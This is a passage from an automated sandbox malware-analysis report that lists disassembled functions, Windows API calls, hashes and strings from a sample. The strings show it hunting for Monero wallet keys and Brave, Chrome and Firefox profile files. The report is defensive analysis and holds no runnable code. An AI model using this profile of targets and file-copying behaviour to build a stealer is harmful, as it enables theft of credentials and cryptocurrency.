StrCmpCA.SHLWAPI(?,00630F74), ref: 0062395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00623C67
FindClose.KERNEL32(000000FF), ref: 00623C7C

Strings

%s\*, xrefs: 006238C0
%s\%s\%s, xrefs: 00623A4A
%s\%s, xrefs: 0062397A
%s\%s, xrefs: 00623A6F
%s%s, xrefs: 00623AAD

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: 50c56a1d86340a7e803655ed90db06c9555e482adee29d4505fb9714daa6cd7f
Instruction ID: 54b263323dd3b240ec3bf5fa026e5a81399a0918b9525c477050eeb46551e1e0
Opcode Fuzzy Hash: 50c56a1d86340a7e803655ed90db06c9555e482adee29d4505fb9714daa6cd7f
Instruction Fuzzy Hash: B3A164B1A007289FDB64DF64DC85FEE737ABB48301F04459CA60D96141EB759B84CF52

Function 0061BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0062A740: lstrcpy.KERNEL32(00630E17,00000000), ref: 0062A788

Part of subcall function 0062A920: lstrcpy.KERNEL32(00000000,?), ref: 0062A972
Part of subcall function 0062A920: lstrcat.KERNEL32(00000000), ref: 0062A982

Part of subcall function 0062A9B0: lstrlen.KERNEL32(?,01119148,?,\Monero\wallet.keys,00630E17), ref: 0062A9C5
Part of subcall function 0062A9B0: lstrcpy.KERNEL32(00000000), ref: 0062AA04
Part of subcall function 0062A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0062AA12

Part of subcall function 0062A8A0: lstrcpy.KERNEL32(?,00630E17), ref: 0062A905

FindFirstFileA.KERNEL32(00000000,?,00630B32,00630B2B,00000000,?,?,?,006313F4,00630B2A), ref: 0061BEF5
StrCmpCA.SHLWAPI(?,006313F8), ref: 0061BF4D
StrCmpCA.SHLWAPI(?,006313FC), ref: 0061BF63
FindNextFileA.KERNEL32(000000FF,?), ref: 0061C7BF
FindClose.KERNEL32(000000FF), ref: 0061C7D1

Strings

Google Chrome, xrefs: 0061C634
Preferences, xrefs: 0061C11E
\Brave\Preferences, xrefs: 0061C1DB
Brave, xrefs: 0061C102

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: b77ce2c554f3e75c8fedc561496bf99225a68c2f31fd845b00a404e75f2e9ae6
Instruction ID: c5190b1fd490e5fa70ee9421a9dbd025ee1a1aaa605738ddf83ae0f6fbb450e9
Opcode Fuzzy Hash: b77ce2c554f3e75c8fedc561496bf99225a68c2f31fd845b00a404e75f2e9ae6
Instruction Fuzzy Hash: 1B4262729105189BCB54FBA0EC96EED737FAF48300F40455CF90A96181EE749B49CF9A

Function 00624910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0062492C
FindFirstFileA.KERNEL32(?,?), ref: 00624943
StrCmpCA.SHLWAPI(?,00630FDC), ref: 00624971
StrCmpCA.SHLWAPI(?,00630FE0), ref: 00624987
FindNextFileA.KERNEL32(000000FF,?), ref: 00624B7D
FindClose.KERNEL32(000000FF), ref: 00624B92

Strings

%s\%s, xrefs: 006249A4
%s\%s, xrefs: 006249FB
%s\*, xrefs: 00624920

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 0122672b85aeefdb1ed7dacadd3ad01c7d48ad2f2d4dea867f29c4c305102e55
Instruction ID: c5cff2fef365ca9d8cb96faa1eef5dce87020c50872b0e430c2577ed915d922a
Opcode Fuzzy Hash: 0122672b85aeefdb1ed7dacadd3ad01c7d48ad2f2d4dea867f29c4c305102e55
Instruction Fuzzy Hash: 2F615BB1900618ABCB24EBA0EC85EEA737DBB48701F04469CF64996141EF75DB89CF91

Function 00624570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00624580
RtlAllocateHeap.NTDLL(00000000), ref: 00624587
wsprintfA.USER32 ref: 006245A6
FindFirstFileA.KERNEL32(?,?), ref: 006245BD
StrCmpCA.SHLWAPI(?,00630FC4), ref: 006245EB
StrCmpCA.SHLWAPI(?,00630FC8), ref: 00624601
FindNextFileA.KERNEL32(000000FF,?), ref: 0062468B
FindClose.KERNEL32(000000FF), ref: 006246A0
lstrcat.KERNEL32(?,0111E8D8), ref: 006246C5
lstrcat.KERNEL32(?,0111DA20), ref: 006246D8
lstrlen.KERNEL32(?), ref: 006246E5
lstrlen.KERNEL32(?), ref: 006246F6

Strings

%s\*, xrefs: 0062459A
%s\%s, xrefs: 0062461B

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 69cd201b2b98349b0dd145e00853b377c31342479ce2a4170d2fb7d3756b1275
Instruction ID: e5a9cadada346b2412d8e3f808a21582fad852090897e8e3c7322272dc63fddc
Opcode Fuzzy Hash: 69cd201b2b98349b0dd145e00853b377c31342479ce2a4170d2fb7d3756b1275
Instruction Fuzzy Hash: 695144B1900218AFCB64EB70DC89FED737DBB58701F404698F64996190EF799B848F92

Function 00623EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00623EC3
FindFirstFileA.KERNEL32(?,?), ref: 00623EDA
StrCmpCA.SHLWAPI(?,00630FAC), ref: 00623F08
StrCmpCA.SHLWAPI(?,00630FB0), ref: 00623F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0062406C
FindClose.KERNEL32(000000FF), ref: 00624081

Strings

%s\%s, xrefs: 00623EB7

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 5fdc0ec64e2ec1472ef5fba5b2ce6c22d6e76d17b5c7ab9e8474262189a5271b
Instruction ID: 50ef8b7d85083027b90da5a2d7f80121321264ec62fc3c66bf3b6c4daba9fadc
Opcode Fuzzy Hash: 5fdc0ec64e2ec1472ef5fba5b2ce6c22d6e76d17b5c7ab9e8474262189a5271b
Instruction Fuzzy Hash: 055178B2900628ABCB24EBB0EC85EEE737DBB44301F04469CB75996140DB75DB89CF95

Function 0061ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0061ED3E
FindFirstFileA.KERNEL32(?,?), ref: 0061ED55
StrCmpCA.SHLWAPI(?,00631538), ref: 0061EDAB
StrCmpCA.SHLWAPI(?,0063153C), ref: 0061EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 0061F2AE
FindClose.KERNEL32(000000FF), ref: 0061F2C3

Strings

%s\*.*, xrefs: 0061ED32

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 2d34a05e05b6cdbbb6cc466cc3890d402382b8714dae79f147b1db358723e719
Instruction ID: a1baca7e93c06de205866a0bbb80987e0e2c311494a6d0110eaa2c245d50ae7d
Opcode Fuzzy Hash: 2d34a05e05b6cdbbb6cc466cc3890d402382b8714dae79f147b1db358723e719
Instruction Fuzzy Hash: 37E125719115289BDB94FBA0EC52EEE733AAF54300F40459DF40A62092EF746F8ACF56

Function 0061F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0062A740: lstrcpy.KERNEL32(00630E17,00000000), ref: 0062A788

Part of subcall function 0062A920: lstrcpy.KERNEL32(00000000,?), ref: 0062A972
Part of subcall function 0062A920: lstrcat.KERNEL32(00000000), ref: 0062A982

Part of subcall function 0062A9B0: lstrlen.KERNEL32(?,01119148,?,\Monero\wallet.keys,00630E17), ref: 0062A9C5
Part of subcall function 0062A9B0: lstrcpy.KERNEL32(00000000), ref: 0062AA04
Part of subcall function 0062A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0062AA12

Part of subcall function 0062A8A0: lstrcpy.KERNEL32(?,00630E17), ref: 0062A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,006315B8,00630D96), ref: 0061F71E
StrCmpCA.SHLWAPI(?,006315BC), ref: 0061F76F
StrCmpCA.SHLWAPI(?,006315C0), ref: 0061F785
FindNextFileA.KERNEL32(000000FF,?), ref: 0061FAB1
FindClose.KERNEL32(000000FF), ref: 0061FAC3

Strings

prefs.js, xrefs: 0061F812

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: bda18b682d515fd6afb45ec02f100349fc7466307ad4c48521eb3e8043b8a6a9
Instruction ID: 43d5a5367681abd46212f161122fc309c6a25b1cd63e12c492acb26c57937eb9
Opcode Fuzzy Hash: bda18b682d515fd6afb45ec02f100349fc7466307ad4c48521eb3e8043b8a6a9
Instruction Fuzzy Hash: 6EB165719005189BDB64FFA0EC96AED737BAF54300F4085ACE40A97181EF74AB49CF96

Function 006116D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0062A740: lstrcpy.KERNEL32(00630E17,00000000), ref: 0062A788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0063510C,?,?,?,006351B4,?,?,00000000,?,00000000), ref: 00611923
StrCmpCA.SHLWAPI(?,0063525C), ref: 00611973
StrCmpCA.SHLWAPI(?,00635304), ref: 00611989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00611D40
DeleteFileA.KERNEL32(00000000), ref: 00611DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 00611E20
FindClose.KERNEL32(000000FF), ref: 00611E32

Part of subcall function 0062A920: lstrcpy.KERNEL32(00000000,?), ref: 0062A972
Part of subcall function 0062A920: lstrcat.KERNEL32(00000000), ref: 0062A982

Part of subcall function 0062A9B0: lstrlen.KERNEL32(?,01119148,?,\Monero\wallet.keys,00630E17), ref: 0062A9C5
Part of subcall function 0062A9B0: lstrcpy.KERNEL32(00000000), ref: 0062AA04
Part of subcall function 0062A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0062AA12

Part of subcall function 0062A8A0: lstrcpy.KERNEL32(?,00630E17), ref: 0062A905

Strings

\*.*, xrefs: 006117F1

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 1415058207-1173974218
Opcode ID: 81981fc70809a68b247b7e3c4db6be28069922f71b84ee1eba92e0e838462a84
Instruction ID: 6f9873a3d080bbdccfc68a32b01ae690a95a6a1fb8e6c5105c09cafd4793329d
Opcode Fuzzy Hash: 81981fc70809a68b247b7e3c4db6be28069922f71b84ee1eba92e0e838462a84
Instruction Fuzzy Hash: 8F1295719115289BCB59FBA0EC96EEE733AAF14300F40459DF10662091EFB46F89CF96

Function 0061DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0062A740: lstrcpy.KERNEL32(00630E17,00000000), ref: 0062A788

Part of subcall function 0062A9B0: lstrlen.KERNEL32(?,01119148,?,\Monero\wallet.keys,00630E17), ref: 0062A9C5
Part of subcall function 0062A9B0: lstrcpy.KERNEL32(00000000), ref: 0062AA04
Part of subcall function 0062A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0062AA12

Part of subcall function 0062A8A0: lstrcpy.KERNEL32(?,00630E17), ref: 0062A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00630C2E), ref: 0061DE5E
StrCmpCA.SHLWAPI(?,006314C8), ref: 0061DEAE
StrCmpCA.SHLWAPI(?,006314CC), ref: 0061DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 0061E3E0
FindClose.KERNEL32(000000FF), ref: 0061E3F2

Strings

\*.*, xrefs: 0061DE26

Memory Dump Source

Source File: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_610000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 6049e71031965e4710535b15e43f1e736adb312cdacc6af9cad6ab2c9d9ed7fe
Instruction ID: b1edf19aeadbfac2b4b94d77124d10be387e7ab84cd7bb0ae2c4cc1900a1cfad
Opcode Fuzzy Hash: 6049e71031965e4710535b15e43f1e736adb312cdacc6af9cad6ab2c9d9ed7fe
Instruction Fuzzy Hash: 3FF190718105289BDB59EBA0EC95EEE737ABF18300F4045DDE40A62091EF746B8ACF56

Function 009C9A3A Relevance: 14.1, Strings: 10, Instructions: 1599COMMON

Download Yara Rule

Strings

@GO, xrefs: 009CA69B
HG{}, xrefs: 009CAB48
h~;, xrefs: 009CA4F5
ra>, xrefs: 009CA87E
h "i, xrefs: 009C9FCA
9w, xrefs: 009CAA01
$7, xrefs: 009CA5AB
0L>, xrefs: 009CA807
@dm, xrefs: 009CAD36
wz, xrefs: 009C9BA5

Memory Dump Source

Source File: 00000000.00000002.1875587313.000000000086E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00610000, based on PE: true

Associated: 00000000.00000002.1874878897.0000000000610000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006CD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.00000000006F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1874916408.000000000085A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.00000000009E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ABB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000ADC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1875587313.0000000000AF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876148035.0000000000AF3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876246903.0000000000C82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1876261548.0000000000C83000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

